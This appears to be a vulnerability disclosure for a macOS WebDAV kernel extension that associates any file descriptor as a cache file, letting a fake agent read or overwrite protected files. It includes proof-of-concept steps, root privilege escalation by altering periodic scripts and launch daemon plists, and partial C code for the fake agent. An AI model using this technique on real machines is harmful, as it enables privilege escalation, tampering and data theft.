Bypass read only or write only restriction on a file by associating it as a cache file for WebDAV kernel extension
WebDAV (Web-based Distributed Authoring and Versioning) protocol allows users to collaboratively edit and manage files on remote web servers [ref]. macOS can connect to WebDAV servers and mount the files shared on the server as a disk / volume. This functionality is mainly provided by WebDAV kernel extension (kext) and WebDAV agent (a process running in userland) [ref].
When a file in WebDAV mount is opened, a cache file is associated to that file. This cache file is created by the agent process. Agent process calls sysctl
syscall with file descriptor of opened cache file to associate a cache file with a file in WebDAV mount. The sysctl
syscall is handled by function webdav_sysctl
implemented at webdav_vfsops.c in kext. The current implementation directly associates the vnode
pointer of received file descriptor as cache to the file in WebDAV mount, without validating whether the received file descriptor is authorized for read and write operation. This allows the WebDAV kext to read and write data to cache file even if it received a file descriptor which is unauthorized to perform read / write. When writing data to a file in WebDAV mount, the data is first written to cache file by kext. The data is then read by agent and send to WebDAV server.
This lack of validation can be exploited by a malicious application to bypass read only or write only restriction enforced on a file by file system by making the WebDAV kext to do the task for it. For example to bypass read only restriction on protected.txt
file, the malicious application will create a fake WebDAV agent. The fake agent will then create a WebDAV mount by calling mount
syscall with appropriate arguments. The arguments will include the address of socket to which the kext should connect to. In this case the kext will be connecting to unix domain socket served by the fake agent. Let's say the fake agent creates the mount at /Volumes/localhost
. The fake agent will then craft responses to kext is such a way that the target file protected.txt
will be associated as cache file of a file inside mount, let's say/Volumes/localhost/portal
. Kext will write the data written to /Volumes/localhost/portal
to the associated cache file protected.txt
. Now the malicious application can write to the unrestricted file /Volumes/localhost/portal
to write data to read only restricted protected.txt
, bypassing file system permission restrictions. Similar strategy may be used for reading write only restricted files.
-
Target file should not be protected by System Integrity Protection (SIP)
-
Target file should exist (can be bypassed by acquiring root privilege)
-
Running user should have read permission to target file (can be bypassed by acquiring root privilege)
- Running user should have write permission to target file (can be bypassed by acquiring root privilege)
-
This exploit can be used to achieve privilege escalation and run commands with root user privileges - see demo #1 and #2. This may be used by malicious applications or unauthorised (standard) users to execute commands with root privileges
-
Malicious actors like ransomware may exploit this vulnerability to tamper read only files without running as root - see demo
-
Malicious application can access confidential data from read protected files without running as root - see demo
-
Theoretically possible to do code execution in kernel context by replacing current version of a kernel extension with old vulnerable version which is not blacklisted in
AppleKextExcludeList.kext
Scripts and binaries used for demo are present in poc.zip
The following steps will demonstrate writing on a protected file secure.txt
by an unauthorised user
-
Create a file named
secure.txt
with contentDo not tamper
echo 'Do not tamper' > ~/secure.txt
-
Set the owner of
secure.txt
to root. Set the file permission such that only root has write permission. Others users can only read the filesudo chown root:wheel ~/secure.txt sudo chmod 644 ~/secure.txt
-
Verify current user cannot write to
secure.txt
touch ~/secure.txt
Running above command will fail with error
Permission denied
-
Create a file named
payload.txt
in home directory with contentTampered!
echo 'Tampered!' > ~/payload.txt
-
Overwrite contents of
secure.txt
with contents ofpayload.txt
by runningportal
binary inpoc.zip
file../portal write ~/secure.txt ~/payload.txt
-
Verify
cat ~/secure.txt
Running above command will output
Tampered!
-
Deploy payload
exploit_periodic_payload
by runningbash ./exploit_periodic.sh
Note: This script will replace
/etc/periodic/daily/110.clean-tmps
with modifiedexploit_periodic_payload
file, which will execute commandecho "executing as $EUID" > /tmp/exploit_periodic.txt
when daily periodic tasks are run -
Daily periodic tasks are run at predefined schedule. To trigger them immediately for demo, run
sudo periodic daily
This will create
/tmp/exploit_periodic.txt
containing textexecuting as 0
showing that the modified payload was run as root. -
Optional: To restore original
/etc/periodic/daily/110.clean-tmps
runbash ./restore_periodic.sh
-
For this exploit to work, at-least one launch daemon plist must be present in
/Library/LaunchDaemons
directory. Runexploit_launchd.sh
bash ./exploit_launchd.sh
Note:
exploit_launchd.sh
script will modify a launch daemon plist to run commandsh -c "echo $EUID > /tmp/exploit_launchd.txt"
-
Restart system to run the modified launch daemon plist. File
/tmp/exploit_launchd.txt
will be created with content0
-
Optional: To restore original launch daemon plist, run
bash ./restore_launchd.sh
-
Create a file named
secure_log.txt
inHOME
directoryecho 'confidential' >> ~/secure_log.txt
-
Make it read protected
sudo chown root:wheel ~/secure_log.txt sudo chmod 622 ~/secure_log.txts
-
Verify user cannot read
secure_log.txt
cat ~/secure_log.txt
Above command will fail with
Permission denied
-
Use portal to read data from
secure_log.txt
tocapture.txt
./portal read ~/secure_log.txt ~/capture.txt
-
Verify if read succeeded
cat ~/capture.txt
Above command will output
confidential
The following example explains how a malicious app can exploit the vulnerability to overwrite a read only file, let's say /etc/zprofile
. In this example, target file is /etc/zprofile
, a file restricted with read only access which the malicious app wants to bypass. Mount directory is /tmp/.portal/mount
, which is the directory where WebDAV mount will be created. Portal file is /tmp/.portal/mount/portal
, which is a file inside WebDAV mount whose associated cache file is /etc/zprofile
. The process followed by malicious app is as follows:
-
Malicious app start a fake WebDAV agent. Fake agent creates and listen on a unix domain socket, at say
/tmp/.portal/socket
-
Malicious app then calls
mount
syscall which can be executed in standard user context to mount WebDAV FS. The WebDAV kext will be connecting to/tmp/.portal/socket
for performing various IO operations./* Opaque ID of mount root directory */ #define ROOT_DIR_ID CreateOpaqueID(1, 1) /* Inode of mount root directory */ #define ROOT_DIR_INO WEBDAV_ROOTFILEID struct sockaddr_un un; bzero(&un, sizeof(un)); strlcpy(un.sun_path, "/tmp/.portal/socket", sizeof(un.sun_path)); /* set other sockaddr_un fields */ ... struct webdav_args args; bzero(&args, sizeof(args)); args.pa_socket_name = (struct sockaddr *)un; args.pa_root_id = ROOT_DIR_ID; args.pa_root_fileid = ROOT_DIR_INO; /* other arguments */ ... mount("webdav", "/tmp/.portal/mount", MNT_ASYNC | MNT_LOCAL | MNT_UNION, &args);
-
Malicious app then opens a file inside WebDAV mount for writing. For this example, let's say the app opens
/tmp/.portal/mount/portal
file inside WebDAV FS for writing by makingopen
syscall. This triggers following operations:-
The kernel will first lookup for file with name
portal
inside root directory by callingwebdav_vnop_lookup
of WebDAV kext implemented at webdav_vnops.c. The kext will send following request to fake agent to complete lookupstruct webdav_request_lookup request; /* Opaque id of root directory */ request.dir_id = ROOT_DIR_ID; request.name = "portal"; request.name_length = strlen("portal"); /* Set other fields */ ... /* send request to agent */
-
Fake agent will respond to request with
struct webdav_reply_lookup reply /* opaque id of portal file */ reply.obj_id = PORTAL_FILE_ID; /* inode of portal file */ reply.obj_fileid = PORTAL_FILE_INO; /* set portal node type as FILE */ reply.obj_type = WEBDAV_FILE_TYPE; /* size of target file */ reply.obj_filesize = stat.st_size; /* set other fields to stat of target file */ ...
WebDAV kext will use this response to send lookup response to kernel
-
The kernel will then open the
portal
file by callingwebdav_vnop_open
of WebDAV kext implemented at webdav_vnops.c. WebDAV kext will sendopen
request to WebDAV agent with following datastruct webdav_request_open request; /* opaque id of portal file */ request.obj_id = PORTAL_FILE_ID; struct open_associatecachefile associatecachefile; associatecachefile.pid = 0; associatecachefile.cachevp = NULLVP; /* Store the pointer to associatecachefile in webdav_ref_table */ /* and save the index at which it was stored in request.ref */ /* Later on pointer to associatecachefile can be obtained */ /* if ref is known */ webdav_assign_ref(&associatecachefile, &request.ref); /* set other fields and send request to agent */ ...
-
To serve
open
request, WebDAV agent first associate a cache file to the file in WebDAV mount. The fake WebDAV agent created by malicious app will associate the target file as cache ofportal
file by making followingsysctl
syscall./* open target file in read-only mode to get file descriptor */ int target_fd = open('/etc/zprofile', O_RDONLY); int mib[5]; /* setup mib for the request */ mib[0] = CTL_VFS; mib[1] = g_vfc_typenum; mib[2] = WEBDAV_ASSOCIATECACHEFILE_SYSCTL; /* index in webdav_ref_table where pointer to associatecachefile is saved*/ /* obtained from kext request webdav_request_open */ mib[3] = request.ref; /* file descriptor to target file */ mib[4] = target_fd; sysctl(mib, 5, NULL, NULL, NULL, 0)
-
Kernel upon receiving this
sysctl
syscall will usemib[0]
andmib[1]
to route the request towebdav_sysctl
function implemented in webdav_vfsops.cstatic int webdav_sysctl(int *name, u_int namelen, user_addr_t oldp, size_t *oldlenp, user_addr_t newp, size_t newlen, vfs_context_t context) { switch (name[0]) { case WEBDAV_ASSOCIATECACHEFILE_SYSCTL: { int ref; int fd; struct open_associatecachefile *associatecachefile; vnode_t vp; ref = name[1]; fd = name[2]; /* Use ref to get reference to associatecachefile */ webdav_translate_ref(ref, &associatecachefile); /* Obtain the reference to vnode of file descriptor fd */ /* from the calling process */ file_vnode_withvid(fd, &vp, NULL); /* store the cache file's vnode in the webdavnode */ associatecachefile->cachevp = vp; /* store the PID of the process that called us */ /* for validation in webdav_open */ associatecachefile->pid = vfs_context_pid(context); ... } ... } }
Since there is no validation to make sure that the file descriptor of cache file,
fd
is authorised for read and write, sending the read only file descriptor of target file will be accepted. -
The WebDAV agent then sends response to kext with following data
struct webdav_reply_open reply; reply.pid = getpid(); /* send reply to kext */
-
The kext will then associate the reference to
vnode
of received file descriptor which is the reference tovnode
of target file as cache file ofportal
filevnode_t vp; vp = ap->a_vp; pt = VTOWEBDAV(vp); struct webdav_request_open request; /* opaque id of portal file */ request.obj_id = PORTAL_FILE_ID; struct open_associatecachefile associatecachefile; associatecachefile.pid = 0; associatecachefile.cachevp = NULLVP; /* Store the pointer to associatecachefile in webdav_ref_table */ /* and save the index at which it was stored in request.ref */ /* Later on pointer to associatecachefile can be obtained */ /* if ref is known */ webdav_assign_ref(&associatecachefile, &request.ref); /* request sending and other instructions */ ... /* Make sure the cache file was associated by correct agent */ if (reply_open.pid != associatecachefile.pid) { error = EPERM; goto dealloc_done; } /* Associates target file vode as cache file of portal */ pt->pt_cache_vnode = associatecachefile.cachevp; ...
-
-
Now the malicious app have file descriptor to
portal
file with read and write capability. When the malicious app writes data toportal
file, the kernel will call thewebdav_vnop_write
function in WebDAV kext implemented in webdav_vnops.cstatic int webdav_vnop_write(struct vnop_write_args *ap) { struct webdavnode *pt; pt = VTOWEBDAV(ap->a_vp); vp = ap->a_vp; ... cachevp = pt->pt_cache_vnode; in_uio = ap->a_uio; /* Write data to cache file first */ VNOP_WRITE(cachevp, in_uio, 0, ap->a_context); VATTR_INIT(&vattr); VATTR_SET(&vattr, va_data_size, uio_offset(in_uio)); /* Update size of cache file */ vnode_setattr(cachevp, &vattr, ap->a_context); // send request to agent containing data size and offset // fake agent will simple respond success to this request ... }
The WebDAV kext will first write the data to cache file by
VNOP_WRITE
function with pointer tovnode
of target file. This will write the data to target file even though the malicious app did not have write access to target file.